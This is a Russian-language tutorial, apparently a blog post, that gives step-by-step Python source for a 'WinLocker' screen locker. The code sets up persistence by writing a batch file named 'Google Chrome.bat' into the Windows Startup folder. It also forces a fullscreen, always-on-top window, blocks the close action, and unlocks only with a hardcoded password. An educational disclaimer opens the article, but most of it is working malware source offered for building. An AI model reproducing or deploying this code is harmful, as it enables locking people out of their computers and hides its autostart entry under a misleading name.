- Данная статья была создана в познавательных целях! Автор не несёт ответственности за ваши незаконные действия и за вред причинённый вашему компьютеру. Помните, это не игрушка какая-то, это ВИНЛОКЕР! Автор настоятельно не рекомендует запускать программу, которая описана в этой статье без детального ознакомления с кодом, Спасибо.
- Ознакомление
- Что же нам надо?
Внимание!!!
Данная статья была создана в познавательных целях! Автор не несёт ответственности за ваши незаконные действия и за вред причинённый вашему компьютеру. Помните, это не игрушка какая-то, это ВИНЛОКЕР! Автор настоятельно не рекомендует запускать программу, которая описана в этой статье без детального ознакомления с кодом, Спасибо.
Ознакомление
Всем привет сегодня вам покажу как можно написать WinLocker на python
Что же нам надо?
Для начала нам нужно:
- Python, установить можете тут https://www.python.org/downloads/
- Текстовый редактор, в моём случае это будет S*****e Text, без обид ведь мне за это не кто не платил
- Доступ к интернету для установки необходимых модулей в PyPI
- Руки не из
жопы - И кофеёк
Поехали
Ну что-же, раз мы убедились, что всё необходимое у нас есть, теперь можем начинать писать код.
Создаем main.py в любой директории
После этого открываем его в любом редакторе.
Установка модулей
Точно... чуть не упустил момент. Надо нам еще окрыть командную строку (вводим Win + R, и пишем cmd и попадаем в командную строку...)
вводим туда pip install getpass3
И у нас происходит установка
Таким же образом вводим комманды pip install pyautogui и pip install playsound
Потом возвращаемся в наш файл, и пишем в нём слудующее:
from playsound import *
import tkinter
from tkinter import *
import tkinter as tk
from tkinter import ttk
import getpass
import sys
import os
import os.path
import pyautogui
from time import sleep
Создание окна
Отступаем и пишем:
USER_NAME = getpass.getuser()
Тут мы присваиваем переменной USER_NAME имя нашего пользователя
Потом вводим такие строчки:
window = Tk()
window.title("WinLocker by GDisclaimer")
window.geometry('400x250')
window['bg'] = 'black'
window.mainloop()
Делаем окно адаптивным
Не у всех монитор 130 mgz и монитор 1920 × 1080 поэтому давайте адаптимизируем наше творение
ПРИМЕЧАНИЕ. Весь последующий код следует вставлять до строчки window.mainloop()
normal_width = 1920 # Задаём ширину обычного монитора
normal_height = 1080 # Задаём высоту обычного монитора
# Get screen size
screen_width = window.winfo_screenwidth()
screen_height = window.winfo_screenheight()
# Get percentage of screen size from Base size
percentage_width = screen_width / (normal_width / 100)
percentage_height = screen_height / (normal_height / 100)
# Make a scaling factor, this is bases on average percentage from
# width and height.
scale_factor = ((percentage_width + percentage_height) / 2) / 100
# Set the fontsize based on scale_factor,
# if the fontsize is less than minimum_size
# it is set to the minimum size
fontsize = int(20 * scale_factor)
minimum_size = 10
if fontsize < minimum_size:
fontsize = minimum_size
fontsizeHding = int(72 * scale_factor)
minimum_size = 40
if fontsizeHding < minimum_size:
fontsizeHding = minimum_size
# Create a style and configure for ttk.Button widget
default_style = ttk.Style()
default_style.configure('New.TButto', font=("Helvetica", fontsize))
Сохраняем проверяем если нормально идеи дальше
Функции
Сделать окно - это конечно круто, но пока-что оно бесполезное. И это мы будем исправлять.
# Запускаем песню, которую вы должны скачать
def play(test):
playsound('sound.mp3', False)
# Добавляем наш винлокер на автозапуск
def add_to_startup(file_path=""):
if file_path == "":
file_path = os.path.dirname(os.path.realpath(__file__))
bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME
with open(bat_path + '\\' + "Google Chrome.bat", "w+") as bat_file:
bat_file.write(r'start "" %s' % file_path)
# Эта функция не даёт нам закрыть окно путём Alt + F4
def block():
pyautogui.moveTo(x=680,y=800)
window.protocol("WM_DELETE_WINDOW",block)
window.update()
# Здесь мы делаем, чтобы окно выводилось на целый экран, и было всегда на переднем плане
def fullscreen():
window.attributes('-fullscreen', True, '-topmost', True)
# Тут мы проверяем пароль на правильность
def clicked():
res = format(txt.get())
if res == '228':
file_path = '/tmp/file.txt'
file_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Google Chrome.bat' % USER_NAME
os.remove(file_path)
sys.exit()
Делаем апгрейд интерфейса
До этого момента у нас в окне выводился просто черный квадрат. Не вариант! Где вы видели такой винлокер?
Сейчас все будет...
Вводим вот эти строчки кода:
add_to_startup("C:\\myFiles\\main.py") # Добавляем наш файл в автозапуск
fullscreen() # Вызываем фунцию, которая ставит окно с программой на передний план, и делает его на полный экран
# Создаем текст
txt_one = Label(window, text='WinLocker by GamerDisclaimer', font=("Arial Bold", fontsizeHding), fg='red', bg='black')
txt_two = Label(window, text='Сорри, бро :(', font=("Arial Bold", fontsizeHding), fg='red', bg='black')
txt_three = Label(window, text='Ваш компьютер был заблокирован винлокером. Пожалуйста, введите пароль для получения доступа к компьютеру!', font=("Arial Bold", fontsize), fg='white', bg='black')
# Используем метод .grid, чтобы текст появился на экра
txt_one.grid(column=0, row=0)
txt_two.grid(column=0, row=0)
txt_three.grid(column=0, row=0)
# Расставляем весь текст по местам
txt_one.place(relx = .01, rely = .01)
txt_two.place(relx = .01, rely= .11)
txt_three.place(relx = .01, rely = .21)
Тут мы делаем строку с вводом кода, и для его проверки вызываем функцию clicked()
txt = Entry(window)
btn = Button(window, text="ВВОД КОДА", command=clicked)
txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06)
btn.place(relx = .62, rely
.5, relwidth=.1, relheight=.06)
На этом всё, всем пока.